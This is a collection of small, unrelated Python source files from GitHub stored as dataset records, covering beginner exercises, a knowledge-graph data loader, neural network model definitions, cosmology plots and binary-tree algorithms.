+{"seq_id":"29524441290","text":"\"\"\"CREATE LISTS FOR SAVE ODD AND EVEN NUMBERSZZZZ \"\"\"\neven_numbers = []\nodd_numbers = []\n\nwhile True:\n    n = int(input(\"Type the size of the list (maximum 20):\"))\n    if 1 <= n <= 20:\n        while len(even_numbers) + len(odd_numbers) < 2 * n:\n            num = int(input(\"Enter a whole number: \"))\n            if num % 2 == 0:\n                if len(even_numbers) < n:\n                    even_numbers.append(num)\n                else:\n                    print(\"The even_numbers is full, please enter odd numbers.\")\n            else:\n                if len(odd_numbers) < n:\n                    odd_numbers.append(num)\n                else:\n                    print(\"The odd_numbers is full, please enter even numbers.\")\n        break\n    print(\"The number should be in the range from 1 to 20\")\n    \nprint(\"Even numbers: \", even_numbers)\nprint(\"Odd numbers: \", odd_numbers)\n","repo_name":"S4RMI618/Guia_python","sub_path":"caso1.py","file_name":"caso1.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19199672645","text":"s=str(input(\"dati sirul=\"))\r\nc=\"\"\"QWERTYUIOPĂÎÂASDFGHJKLȘȚZXCVBNM\"\"\"\r\nd=\"\"\"0123456789\"\"\"\r\ne=\"\"\"(){}[]+-*/=\"\"\"\r\nnr=0\r\nfor i in s:\r\n    if i in c:\r\n        nr=nr+1\r\nprint(\"Majuscule in sir =\",nr)\r\nb=0\r\nfor a in s:\r\n    if a in d:\r\n        b=b+1\r\nprint(\"cifre in sir =\",b)\r\ng=0\r\nfor f in s:\r\n    if f in e:\r\n        g=g+1\r\nprint(\"Caractere speciale in sir =\",g)\r\n    \r\n","repo_name":"Artiom12341/inst-.string","sub_path":"informatica.inst.str.4.py","file_name":"informatica.inst.str.4.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8123691679","text":"import os\nimport torch\nfrom scipy.sparse import csr_matrix\nimport numpy as np\nfrom collections import defaultdict\nfrom operator import itemgetter\nimport pandas as pd\nimport random\nimport ipdb\n\nclass DataLoader:\n    def __init__(self, task_dir, opts):\n        self.task_dir = task_dir\n        self.n_layer = opts.n_layer\n        self.hidden_dim = opts.hidden_dim\n\n        with open(os.path.join(task_dir, 'Gene_set.txt')) as f:\n            self.gene_set = []\n            for line in f:\n                etype = line.strip()\n                self.gene_set.append(etype)\n\n        with open(os.path.join(task_dir, 'entities.txt')) as f:\n            self.entity2id = dict()\n            self.entitypeid2geneid = dict()\n            self.entity2type = dict()\n            n_gene = 0\n            for line in f:\n                entity, eid, etype = line.strip().split()\n                self.entity2id[entity] = int(eid)\n                self.entity2type[int(eid)] = etype\n                if entity in self.gene_set:\n                    self.entitypeid2geneid[int(eid)] = n_gene\n                    n_gene += 1\n        self.n_gene = n_gene\n        self.gene_set_id = []\n        for g in self.gene_set:\n            self.gene_set_id.append(self.entity2id[g])\n\n        with open(os.path.join(task_dir, 'relations.txt')) as f:\n            self.relation2id = dict()\n            for line in f:\n                relation, rid = line.strip().split()\n                self.relation2id[relation] = int(rid)\n\n        # ----------------------------------------load textual embedding-------------------------------------- \n        bert_path = '../data/all_entities_pretrain_emb.npy'\n        print(bert_path)\n        all_entities_pretrain_emb_org = np.load(bert_path)\n        # PCA dimension reduction\n        from sklearn.decomposition import PCA\n        pca = PCA(n_components=self.hidden_dim)\n        pca.fit(all_entities_pretrain_emb_org)\n        all_entities_pretrain_emb = pca.transform(all_entities_pretrain_emb_org)\n        self.entity_pretrain_emb = all_entities_pretrain_emb\n        self.n_ent = len(self.entity2id)\n        self.n_rel = len(self.relation2id)\n        self.filters = defaultdict(lambda:set())\n\n        # ---------------------------------exclude high-level GO terms---------------------------------------#\n        # exclude_set1 = ['nucleus', 'cytoplasm', 'membrane', 'protein_binding', 'cytosol', \n        #         'nucleoplasm', 'plasma_membrane', 'integral_component_of_membrane', \n        #         'extracellular_exosome', 'extracellular_region']\n        # self.exclude_id1 = itemgetter(*exclude_set1)(self.entity2id)\n        self.fact_data = self.read_triples_sl('facts.txt', inv=True)\n        self.load_graph(self.fact_data)\n        self.load_test_graph(self.fact_data)\n        n_rel_org = len(self.relation2id)\n        self.n_rel = int(self.KG[:,1].max() + 1)\n        if not os.path.exists(os.path.join(self.task_dir, 'train_filtered.txt')):\n            print('filtering out triples without answering genes...')\n            self.train_data0 = self.read_triples_sl('train.txt', inv=True)\n            self.valid_data0 = self.read_triples_sl('valid.txt', inv=True)\n            self.test_data0  = self.read_triples_sl('test.txt', inv=True)\n            self.train_data = self.delete_triples(self.train_data0, mode='train')\n            self.valid_data = self.delete_triples(self.valid_data0, mode='train')\n            self.test_data = self.delete_triples(self.test_data0, mode='test')\n            \n            self.save_filtered_triples(self.task_dir, 'train', self.train_data)\n            self.save_filtered_triples(self.task_dir, 'valid', self.valid_data)\n            self.save_filtered_triples(self.task_dir, 'test', self.test_data)\n            print('# triples filtered out in train: {}'.format(len(self.train_data0) - len(self.train_data)))\n            print('# triples filtered out in valid: {}'.format(len(self.valid_data0) - len(self.valid_data)))\n            print('# triples filtered out in test: {}'.format(len(self.test_data0) - len(self.test_data)))\n        else:\n            self.train_data = self.read_triples_sl('train_filtered.txt')#_kgwsl_pathway\n            self.valid_data = self.read_triples_sl('valid_filtered.txt')\n            self.test_data  = self.read_triples_sl('test_filtered.txt')\n        \n        self.train_data = np.array(self.train_data) \n        \n        self.valid_q, self.valid_a = self.load_query(self.valid_data)\n        self.test_q,  self.test_a  = self.load_query(self.test_data) \n\n        self.n_train = len(self.train_data)\n        self.n_valid = len(self.valid_q)\n        self.n_test  = len(self.test_q)\n\n        self.train_q, self.train_a = self.load_query(self.train_data.tolist())\n        self.n_train_eval = len(self.train_q)\n        self.n_valid_train = len(self.valid_data)\n\n        for filt in self.filters:\n            self.filters[filt] = list(self.filters[filt])\n\n        self.tr_filters = self.get_filter(data='train')    \n        self.val_filters = self.get_filter(data='valid')\n        self.tst_filters = self.get_filter(data='test')\n        self.tr_rm_set_kg = self.get_rm_set(data='train')    \n        self.val_rm_set_kg = self.get_rm_set(data='valid')\n        self.tst_rm_set_kg = self.get_rm_set(data='test')\n        self.tr_rm_set = self.rm_set_kgid2slid(self.tr_rm_set_kg)  \n        self.val_rm_set = self.rm_set_kgid2slid(self.val_rm_set_kg)\n        self.tst_rm_set = self.rm_set_kgid2slid(self.tst_rm_set_kg)\n        config_str = 'n_train(triples):{}, n_valid(answers):{}, n_test(answers):{}'.format(self.n_train, self.n_valid, self.n_test)\n        print(config_str)\n        with open(opts.perf_file, 'a+') as f:\n            f.write(config_str+'\\n')\n\n    def read_triples_sl(self, filename, inv=False):\n        '''\n        filters contain all triples including the triples in the training graph, i.e., all query-answer pairs\n        '''\n        triples = []\n        genes = list(self.entitypeid2geneid.keys())\n        with open(os.path.join(self.task_dir, filename)) as f:\n            for line in f:\n                h, r, t = line.strip().split()\n                h, r, t = self.entity2id[h], self.relation2id[r], self.entity2id[t]\n                # if h in self.exclude_id1 or t in self.exclude_id1:\n                #     continue\n                triples.append([h,r,t])\n                self.filters[(h,r)].add(t) \n                if inv:\n                    if r == self.relation2id['SL_GsG']:\n                        triples.append([t,r,h])  \n                    elif filename == 'facts.txt':\n                        triples.append([t,r+self.n_rel,h])\n        return triples\n\n    def get_filter(self, data='valid'):\n        filters = defaultdict(lambda: set())\n        if data == 'train':\n            for triple in self.train_data:\n                h, r, t = triple\n                filters[(h,r)].add(t)\n        elif data == 'valid':\n            for triple in self.valid_data:\n                h, r, t = triple\n                filters[(h,r)].add(t)\n        else:\n            for triple in self.test_data:\n                h, r, t = triple\n                filters[(h,r)].add(t)\n        return filters\n    \n    def get_rm_set(self, data='valid'):\n        rm_set = defaultdict(lambda: set())\n        if data == 'train':\n            for k in self.tr_filters.keys():\n                if k in self.val_filters.keys():\n                    rm_set[k].update(self.val_filters[k])\n                if k in self.tst_filters.keys():\n                    rm_set[k].update(self.tst_filters[k])\n        elif data == 'valid':\n            for k in self.val_filters.keys():\n                if k in self.tr_filters.keys():\n                    rm_set[k].update(self.tr_filters[k])\n                if k in self.tst_filters.keys():\n                    rm_set[k].update(self.tst_filters[k])\n        else:\n            for k in self.tst_filters.keys():\n                if k in self.tr_filters.keys():\n                    rm_set[k].update(self.tr_filters[k])\n                if k in self.val_filters.keys():\n                    rm_set[k].update(self.val_filters[k])\n        return rm_set\n\n    def rm_set_kgid2slid(self, org_dict):\n        map_dict = defaultdict(lambda: set())\n        for k in org_dict.keys():\n            if len(org_dict[k]) != 0:\n                val = itemgetter(*org_dict[k])(self.entitypeid2geneid)\n                val = np.array([val]).flatten()\n                map_dict[k].update(set(val))\n        return map_dict    \n\n    def save_filtered_triples(self, directory, filename, triples):\n        entity_names = np.array(list(self.entity2id.keys()))\n        entity_ids = np.array(list(self.entity2id.values()))\n\n        with open(os.path.join(directory, filename+'_filtered.txt'), 'w') as f:\n            for i in range(len(triples)):\n                h, r, t = triples[i]\n                h_name = entity_names[entity_ids==h][0]\n                t_name = entity_names[entity_ids==t][0]\n                f.writelines('{} {} {}'.format(h_name, 'SL_GsG',t_name))\n                f.write('\\n')\n\n    def load_graph(self, triples):\n        KG = np.array(triples)\n        idd_rel_id = KG[:,1].max() + 1\n        # if self.constrain_go_depth == 1:\n        #     entity = np.array(tuple(set(self.entity2id.values()) - set(self.exclude_id1)))\n        #     n_ent = len(entity)\n        entity = np.arange(self.n_ent)\n        n_ent = self.n_ent\n        idd = np.concatenate([np.expand_dims(entity,1), idd_rel_id*np.ones((n_ent, 1)), np.expand_dims(entity,1)], 1)\n        \n        self.KG = np.concatenate([KG, idd], 0)\n        self.n_fact = len(self.KG)\n        self.M_sub = csr_matrix((np.ones((self.n_fact,)), (np.arange(self.n_fact), self.KG[:,0])), shape=(self.n_fact, self.n_ent))\n\n\n    def load_test_graph(self, triples):\n        KG = np.array(triples)\n        idd_rel_id = KG[:,1].max() + 1\n        idd = np.concatenate([np.expand_dims(np.arange(self.n_ent),1), idd_rel_id*np.ones((self.n_ent, 1)), np.expand_dims(np.arange(self.n_ent),1)], 1)\n        self.tKG = np.concatenate([np.array(triples), idd], 0)\n        self.tn_fact = len(self.tKG)\n        self.tM_sub = csr_matrix((np.ones((self.tn_fact,)), (np.arange(self.tn_fact), self.tKG[:,0])), shape=(self.tn_fact, self.n_ent))\n\n    def load_query(self, triples):\n        triples.sort(key=lambda x:(x[0], x[1]))\n        trip_hr = defaultdict(lambda:list())\n\n        for trip in triples:\n            h, r, t = trip\n            trip_hr[(h,r)].append(t)\n        \n        queries = []\n        answers = []\n        for key in trip_hr:\n            queries.append(key)\n            answers.append(np.array(trip_hr[key]))\n        return queries, answers\n    \n    def get_neighbors(self, nodes, emb, mode='train', last_flag=False):\n        if mode=='train':\n            KG = self.KG\n            M_sub = self.M_sub\n        else:\n            KG = self.tKG\n            M_sub = self.tM_sub\n        entity2type = self.entity2type\n\n        node_1hot = csr_matrix((np.ones(len(nodes)), (nodes[:,1], nodes[:,0])), shape=(self.n_ent, nodes.shape[0]))\n        edge_1hot = M_sub.dot(node_1hot)\n        edges = np.nonzero(edge_1hot)\n        sampled_edges = np.concatenate([np.expand_dims(edges[1],1), KG[edges[0]]], axis=1)     # (batch_idx, head, rela, tail)\n\n        sampled_edges = np.concatenate([np.expand_dims(edges[1],1), KG[edges[0]]], axis=1)     # (batch_idx, head, rela, tail)\n        idd_id = KG[:,1].max()\n        idd_edges = np.hstack((nodes, int(idd_id)*np.ones((len(nodes), 1)), nodes[:,[1]]))\n        sampled_edges = np.unique(np.vstack((sampled_edges, idd_edges)),axis=0)\n        \n        if last_flag:\n            sampled_edges = sampled_edges[np.isin(sampled_edges[:, -1], list(self.entitypeid2geneid.keys()))]\n        \n        sampled_edges = torch.LongTensor(sampled_edges).cuda()\n        \n        # index to nodes, sort by the order of input nodes (i.e., edges[1]), to retrieve the input query order \n        # head nodes are the input query, tail nodes are the corresponding neighbors\n        head_nodes, head_index = torch.unique(sampled_edges[:,[0,1]], dim=0, sorted=True, return_inverse=True)\n        tail_nodes, tail_index = torch.unique(sampled_edges[:,[0,3]], dim=0, sorted=True, return_inverse=True)\n\n        if last_flag:\n            hidden, h0 = emb\n            hidden = hidden[np.isin(nodes[:,1], head_nodes[:,1].cpu().numpy()),:]\n            h0 = h0[:, np.isin(nodes[:,1], tail_nodes[:,1].cpu().numpy()),:]\n            emb = (hidden, h0)\n        sampled_edges = torch.cat([sampled_edges, head_index.unsqueeze(1), tail_index.unsqueeze(1)], 1)\n    \n        idd_id = KG[:, 1].max()\n        mask = sampled_edges[:,2] == idd_id\n        _, old_idx = head_index[mask].sort()\n        old_nodes_new_idx = tail_index[mask][old_idx]\n\n        return tail_nodes, sampled_edges, old_nodes_new_idx, emb\n\n    def get_batch(self, batch_idx, steps=2, data='train'):\n        if data=='train':\n            return self.train_data[batch_idx]\n    \n    def get_batch_sl(self, batch_idx, steps=2, data='train'):\n        '''\n        return:\n        subs: query genes, ids are defined in the whole graph\n        rels: query relations\n        objs: labeled genes, ids are defined within the range of the number of genes\n        '''\n        if data=='train':\n            query, answer = np.array(self.train_q), np.array(self.train_a)\n        if data=='valid':\n            query, answer = np.array(self.valid_q), np.array(self.valid_a)\n        if data=='test':\n            query, answer = np.array(self.test_q), np.array(self.test_a)\n\n        subs = []\n        rels = []\n        gene_mask = []\n        objs = []\n        \n        subs = query[batch_idx, 0]\n        rels = query[batch_idx, 1]\n        objs = np.zeros((len(batch_idx), self.n_ent))\n        for i in range(len(batch_idx)):\n            objs[i][np.array(answer)[batch_idx[i]]] = 1\n        return subs, rels, objs\n\n    def shuffle_train(self,):\n        rand_idx = np.random.permutation(self.n_train)\n        self.train_data = self.train_data[rand_idx]\n\n    def delete_triples(self, triple, mode='train'):\n        triple = np.array(triple)\n        num = len(triple) // 200 + (len(triple) % 200 > 0)\n        new_triple = []\n        for i in range(num): \n            start = i*200\n            end = min(len(triple), (i+1)*200)\n            batch_idx = np.arange(start, end)\n            triple_i = triple[batch_idx,]\n            subs, objs = triple_i[:,0], triple_i[:,2]\n            nodes = np.stack((np.arange(len(triple_i)), subs), 1)\n            for i in range(self.n_layer):\n                nodes, _, _, _ = self.get_neighbors(nodes, None, mode=mode)\n                nodes = nodes.cpu().numpy()\n            tgt_idx = []\n            for i in range(len(objs)):\n                t = nodes[(nodes[:,0]==i)&(nodes[:,1]==objs[i])]\n                if len(t) != 0:\n                    tgt_idx.append(i)\n            new_triple.append(triple_i[tgt_idx])\n        return np.vstack(new_triple).tolist()","repo_name":"JieZheng-ShanghaiTech/KR4SL","sub_path":"transductive/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":14921,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"22230089452","text":"def binary_search(list, item):\n    low = 0\n    high = len(list) - 1\n\n    while low <= high:\n        mid = int((low + high) / 2)\n        guess = list[mid]\n        if guess == item:\n            return mid\n        if guess > item:\n            high = mid - 1\n        else:\n            low = mid + 1\n    return None \n\nmy_list = [1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31]\n\nprint('Please enter a integer number:')\nitem = int(input())\nprint (binary_search(my_list, item))\n# print (binary_search(my_list, -1))","repo_name":"christianwang/python_learning","sub_path":"binary.py","file_name":"binary.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74451851768","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 15 18:00:23 2017\n\nRoutine for creating some common plots. The immediate need is to make reproduce some plots from Hall and Challinor amongst some other basic test cases.\nFor more details see pg 57 in notebook.  \n\nThis routine makes plots for the CROSS CORELATIONS. \n\nElm(r) = <alm(0) a22(r)>/[(Cl^1/2) (<|a22(r)|>^1/2)]\n\n@author: arsalanadil\n\"\"\"\n\nimport numpy as np, matplotlib.pyplot as plt\nimport VarMatrix_Generalized as Remote\nimport LocalPS as Local\nimport VarMatrix_Gen_Local as Cross\n\n#covMat = np.load(\"XTest1.npy\")\n\ndef powerSpec(k):\n    \n    if(k==0):\n        return 0\n    \n    else:\n        return 1/k**3\n\ndef LocalCMB(l):\n    local = Local.Integral(l,powerSpec)\n    \n    return local    \n    \ndef RemoteCMB(r):\n    location = np.array([r,0,0])\n    temp = Remote.wignerRotation(location,location)[0]\n\n\n    return temp[0][0]\n\n\ndef CrossCMB(r,l,m):\n    location = np.array([r,0,0])\n    \n    crosscorel = Cross.wignerRotation(location, l, powerSpec)\n    print(crosscorel)    \n    \n    return crosscorel[0][0][l-m]#we generally want El2 (i.e. m=2)\n    #this is to find the right index. So, for e.g., for l=4, the matrix is arranged as, \"m=-4,-3,-2,-1,...\" and we want m=-2 (or 2)\n    \ndef makePlot(r,lmax,m):\n    plot = np.zeros(lmax-1)    \n    remote = np.abs(RemoteCMB(r))\n    \n    i = 0\n    for l in range(2,lmax+1):\n        \n        cross = CrossCMB(r,l,m)\n        local = 256.2792 * np.abs(LocalCMB(l))#256.2792 is the normalization constant for the LocalCMB\n      \n        Elm = np.abs(cross/(np.sqrt(local)*np.sqrt(remote)) )\n        print(\"Numerator:\", cross, \",local:\", local, \"remote\", remote)        \n        #plot[i] = Elm\n        plot[i] = Elm**2#squaring for Summed Correlation plot ONLY!\n        print(\"Elm is\", Elm)\n        i+=1\n    \n    return plot\n    \n    \n        \n\"\"\"\nz = 0\nlmax = 4\nm = 2\ntemp = makePlot(z,lmax,m)    \nprint(temp)\nplt.plot(np.array([2,3,4]), temp)\n#sumCor = np.zeros(10)\n\"\"\"\n\n\n\n\"\"\"\nn = 10    \nsumCor = np.zeros(n)\n#zVar = np.zeros((n,3))\nfor z in range(0,n):\n    sumCor[z] = np.sum(makePlot(z/10,lmax,m)) \n    #zVar[i] = makePlot(z/10,lmax,m)\n\nprint(sumCor)\nplt.plot(np.arange(0,10)/10,sumCor)\n\"\"\"\nlmax = 5\nm = 2\n\nz = 3\nsummedLVals = np.zeros(lmax-1)\nfor l in range(2,lmax+1):\n    summedLVals[l-2] = np.sum(makePlot(z,l,m))\n\nprint(\"The Sum over L values is:\", summedLVals)\nplt.figure(2)\nplt.show()    \nplt.plot(np.arange(2,lmax+1), summedLVals)\nplt.title(\"Running Sum over L at different RedShifts\")","repo_name":"arsalanadil/RemoteQuadrupole","sub_path":"PlotTests.py","file_name":"PlotTests.py","file_ext":"py","file_size_in_byte":2491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30083296927","text":"\"\"\"\nГорода:\nнапишите функцию describe_city(), которая получает названия города и страны. Функция должна\nвыводить просто сообщение (например \"Reykjavik is in Iceland\"). Задайте параметру страны заначение\nпо умолчанию. Вызовите свою функцию для трех разных городов, по карайне мере один из которых не\nнаходится в стране по умолчанию.\n\"\"\"\ndef describe_city(city, contry=\"России\"):\n    print(f\"{city} находится в {contry}\")\n\ndescribe_city(\"Москва\") # Вызов функции с одним позиционным аргументом второй подставляется по умолнчанию\ndescribe_city(\"Нью Йорк\", \"США\") # Вызов функции с двумя аргументами оба передаются как позиционные\ndescribe_city(city=\"Рио де Жайнеро\", contry=\"Бразилии\")# Вызов функции с двумя аргументами оба передаются как именованные\ndescribe_city(city=\"Курск\") # Вызов функции с одним именованным аргументом второй подставляется по умолнчанию\n","repo_name":"MaximZolotukhin/erik_metiz","sub_path":"chapter_8/exercise_8.5.py","file_name":"exercise_8.5.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28588418197","text":"def PatternMatching(Pattern, Genome):\n    positions = []\n\n    n = len(Genome)\n    k = len(Pattern)\n    for i in range(n-k+1):\n        if Genome[i:i+k] == Pattern:\n            positions.append(i)\n\n    return (positions)\n\n\n\n\ndef PatternCount(Text, Pattern):\n    count = 0\n    for i in range(len(Text)-len(Pattern)+1):\n        if Text[i:i+len(Pattern)] == Pattern:\n            count = count+1\n    return count\n\n\nprint(PatternMatching(\"ATAT\", \"GATATATGCATATACTT\"))\n#returns positions at which the pattern is found in the genome\n\nprint(PatternCount(\"ACTGTACGATGATGTGTGTCAAAG\", \"TGT\"))\n#returnns how many times the given text appears in the Genome \n","repo_name":"amkera/python_for_bioinformatics","sub_path":"pattern_matching_and_count.py","file_name":"pattern_matching_and_count.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"33943707794","text":"from keras.layers import Conv2D, BatchNormalization, Dense, Activation, AveragePooling2D, GlobalAveragePooling2D, concatenate\nfrom keras.regularizers import l2\nfrom keras.models import Input, Model\nfrom keras.optimizers import Adam\n\n# HPARAMs\nBATCH_SIZE = 64\nEPOCHS = 50\nLEARN_RATE = 0.001\nNUM_CLASSES = 12\n\n\ndef conv_block(ip, nb_filter, weight_decay=1E-4):\n    x = Activation('relu')(ip)\n    x = Conv2D(nb_filter, kernel_size=3, kernel_initializer=\"he_uniform\", padding=\"same\", use_bias=False,\n               kernel_regularizer=l2(weight_decay))(x)\n    return x\n\n\ndef transition_block(ip, nb_filter, weight_decay=1E-4):\n    x = Conv2D(nb_filter, kernel_size=1, kernel_initializer=\"he_uniform\", padding=\"same\", use_bias=False,\n               kernel_regularizer=l2(weight_decay))(ip)\n    x = AveragePooling2D((2, 2), strides=(2, 2))(x)\n\n    x = BatchNormalization(gamma_regularizer=l2(weight_decay), beta_regularizer=l2(weight_decay))(x)\n\n    return x\n\n\ndef dense_block(x, nb_layers, nb_filter, growth_rate, weight_decay=1E-4):\n    feature_list = [x]\n\n    for i in range(nb_layers):\n        x = conv_block(x, growth_rate, weight_decay)\n        feature_list.append(x)\n        x = concatenate(feature_list)\n        nb_filter += growth_rate\n\n    return x, nb_filter\n\n\nclass DenseNetModel:\n    def __init__(self, num_clases=12):\n        self.BATCH_SIZE = BATCH_SIZE\n        self.EPOCHS = EPOCHS\n        self.LEARN_RATE = LEARN_RATE\n        self.num_classes = num_clases\n        self.checkpoint_path = './best_model.hdf5'\n\n    def create_model(self, shape, depth=58, nb_dense_block=5, growth_rate=32, nb_filter=16, weight_decay=1E-4):\n        model_input = Input(shape=shape)\n\n        assert (depth - 4) % 3 == 0, \"Depth must be 3 N + 4\"\n\n        # layers in each dense block\n        nb_layers = int((depth - 4) / 3)\n\n        # Initial convolution\n        x = Conv2D(nb_filter, kernel_size=3, kernel_initializer=\"he_uniform\", padding=\"same\", name=\"initial_conv2D\",\n                   use_bias=False,\n                   kernel_regularizer=l2(weight_decay))(model_input)\n\n        x = BatchNormalization(gamma_regularizer=l2(weight_decay), beta_regularizer=l2(weight_decay))(x)\n\n        # Add dense blocks\n        for block_idx in range(nb_dense_block - 1):\n            x, nb_filter = dense_block(x, nb_layers, nb_filter, growth_rate,\n                                       weight_decay=weight_decay)\n            # add transition_block\n            x = transition_block(x, nb_filter, weight_decay=weight_decay)\n\n        # The last dense_block does not have a transition_block\n        x, nb_filter = dense_block(x, nb_layers, nb_filter, growth_rate,\n                                   weight_decay=weight_decay)\n\n        x = Activation('relu')(x)\n        x = GlobalAveragePooling2D()(x)\n        x = Dense(self.num_classes, activation='softmax', kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay))(x)\n\n        model = Model(input=model_input, output=x, name=\"create_dense_net\")\n\n        model.summary()\n\n        model.compile(loss='categorical_crossentropy', optimizer=Adam(), metrics=['accuracy'])\n\n        return model\n\n","repo_name":"chrisakroyd/kaggle-speech-recognition","sub_path":"src/models/mel_models/DenseNet.py","file_name":"DenseNet.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"43320125125","text":"#! /usr/bin/env python3\n\nfrom abc import ABC, abstractmethod\nfrom collections import OrderedDict\n\nimport torch\nfrom torch.nn import Sequential\n\nfrom tools.losses import Objective\nfrom tools.errors import NotBuiltError\n\n\nclass TorchModel(ABC, torch.nn.Module):\n    def __init__(\n        self, model_pieces, *args,\n        model_name=\"Default\", **kwargs\n    ):\n        super().__init__(*args, **kwargs)\n\n        self.pieces = Sequential()\n        for key in model_pieces:\n            self.pieces.add_module(\n                key, Sequential(model_pieces[key])\n            )\n\n        self.model_name = model_name\n        self.use_cuda = False\n        self.loss = None\n        self.tensorboard_writer = None\n        self.built = False\n\n    def build(\n        self, loss_func_dict, optimizer=torch.optim.Adam,\n        learning_rate=1e-3, try_cuda=True, cuda_device='0'\n    ):\n\n        if try_cuda:\n            self.use_cuda = torch.cuda.is_available()\n\n        self.device = torch.device(\n            f\"cuda:{cuda_device}\" if self.use_cuda else \"cpu\"\n        )\n\n        if self.use_cuda:\n            torch.set_default_tensor_type('torch.cuda.FloatTensor')\n            torch.backends.cudnn.benchmark = True\n\n        self.obj = Objective(loss_func_dict)\n\n        self.opt = optimizer(self.parameters(), lr=learning_rate)\n\n        self.to(self.device)\n        self.built = True\n\n    def forward(self, inputs):\n        pieces = OrderedDict()\n        current_inputs = inputs\n\n        for key in self.pieces._modules:\n            pieces[key] = self.pieces._modules[key](current_inputs)\n            current_inputs = pieces[key]\n\n        return pieces\n\n    @abstractmethod\n    def fit_batch(self):\n        raise NotImplementedError\n\n    @abstractmethod\n    def fit(self):\n        raise NotImplementedError\n\n\nclass Autoencoder(TorchModel):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n    def fit_batch(self, batch):\n        if not(self.built):\n            msg = \"Run build method on model before first call!\"\n            raise NotBuiltError(msg)\n\n        self.opt.zero_grad()\n\n        # get outputs, standard autoencoder has only one\n        outputs = self.forward(batch)\n        keys = list(outputs.keys())\n        predictions = outputs[keys[-1]]\n\n        # reconstruction loss with batch as target\n        loss_params = ((predictions, batch),)\n        self.loss = self.obj(loss_params)\n        self.loss.backward()\n        self.opt.step()\n        return predictions\n\n    def fit(\n        self, inputs, nepochs=1, logint=100,\n        continue_counter=0, continue_epoch=0\n    ):\n\n        counter = continue_counter\n        nepochs += continue_epoch\n\n        self.train()\n        for i in range(continue_epoch, nepochs):\n            # assume inputs enum returns batch, target pair\n            # discard target for autoencoders, reconstruct batch\n            for j, (batch, _) in enumerate(inputs):\n                _ = self.fit_batch(batch)\n\n                if j % logint == 0:\n                    outmsg = f\"[Epoch {i}, Batch {j} Loss] \"\n                    outmsg += f\"Total: {round(self.loss.item(), 3)}\"\n                    for k in self.obj.losses:\n                        outmsg += f\" {k}: \" + str(\n                            round(self.obj.losses[k].item(), 3)\n                        )\n                    print(outmsg)\n                counter += 1\n","repo_name":"mccannj9/Torchable","sub_path":"torches/torches.py","file_name":"torches.py","file_ext":"py","file_size_in_byte":3381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72009060410","text":"# input is a binary tree\n\n\nclass BinaryTreeNode:\n    def __init__(self, value):\n        self.value = None\n        self.left = None\n        self.right = None\n\n    def insert_left(self, value):\n        self.left = BinaryTreeNode(value)\n        return self.left\n\n    def insert_right(self, value):\n        self.right = BinaryTreeNode(value)\n        return self.right\n\n    def is_balanced(tree_root):\n        # check tree to ensure that difference between depths of any two leaf nodes no greater than one\n        # only two distinct leaf depths, at most 1 apart\n        # we use DFS because we will hit leaves first, allowing us to check faster\n        depths = []\n        # used to store (node, depth)\n        nodes = [(tree_root, 0)]\n\n        while len(nodes):\n            # pop a node,depth from stack\n            node, depth = nodes.pop()\n            if (not node.left) and (not node.right):\n                # leaf is found\n                if depth not in depths:\n                    depths.append(depth)\n                    if (len(depth) > 2) or (len(depths) == 2 and abs(depths[0] - depths[1]) > 1):\n                        return False\n            else:\n                if node.left:\n                    nodes.append((node.left, depth + 1))\n                if node.right:\n                    nodes.append((node.right, depth + 1))\n        return True\n\n    def is_bst(tree_root):\n        # checks that it is a binary search tree\n        # left tree values < right tree values\n        # so check nodes to make sure they are smaller than ancestor on right\n        # keep track of lower bound and upper bound that node must be in\n        stack = [(tree_root, -9999999, 9999999)]\n        # DFS\n        while len(stack):\n            node, lower_bound, upper_bound = stack.pop()\n            if (node.value<lower_bound) or (node.value>upper_bound):\n                return False\n\n            if node.left:\n                # this node must be less than\n                stack.append((node.left, lower_bound, node.value))\n            if node.right:\n                # this node must be greater\n                stack.append((node.right, node.value, upper_bound))\n\n        return True\n\n    def find_largest(tree_root):\n        # find the largest value in a BST\n        # should walk down right side to get largest value\n        current = tree_root\n        while current:\n            if not current.right:\n                return current\n            current = current.right\n\n    def find_2nd_largest(tree_root):\n        if not(tree_root.left or tree_root.right):\n            raise Exception(\"Not a tree\")\n\n        current = tree_root\n\n        while current:\n            # 3 different cases for 2nd largest\n            # has left subtree only, so current is largest\n            # 2nd largest is largest in left tree\n            if current.left and not current.right:\n                return find_largest(current.left)\n\n            # case: there is right child but right child has no children\n            # largest must be on right, then current is 2nd largest\n            if current.right and not current.left.right and not current.right.right:\n                return current.value\n\n            # case: there is a right subtree with children, so largest and 2nd largest must be in there \n            current = current.right\n\n\n\n","repo_name":"billyfung/algo-practice","sub_path":"binarytree.py","file_name":"binarytree.py","file_ext":"py","file_size_in_byte":3311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
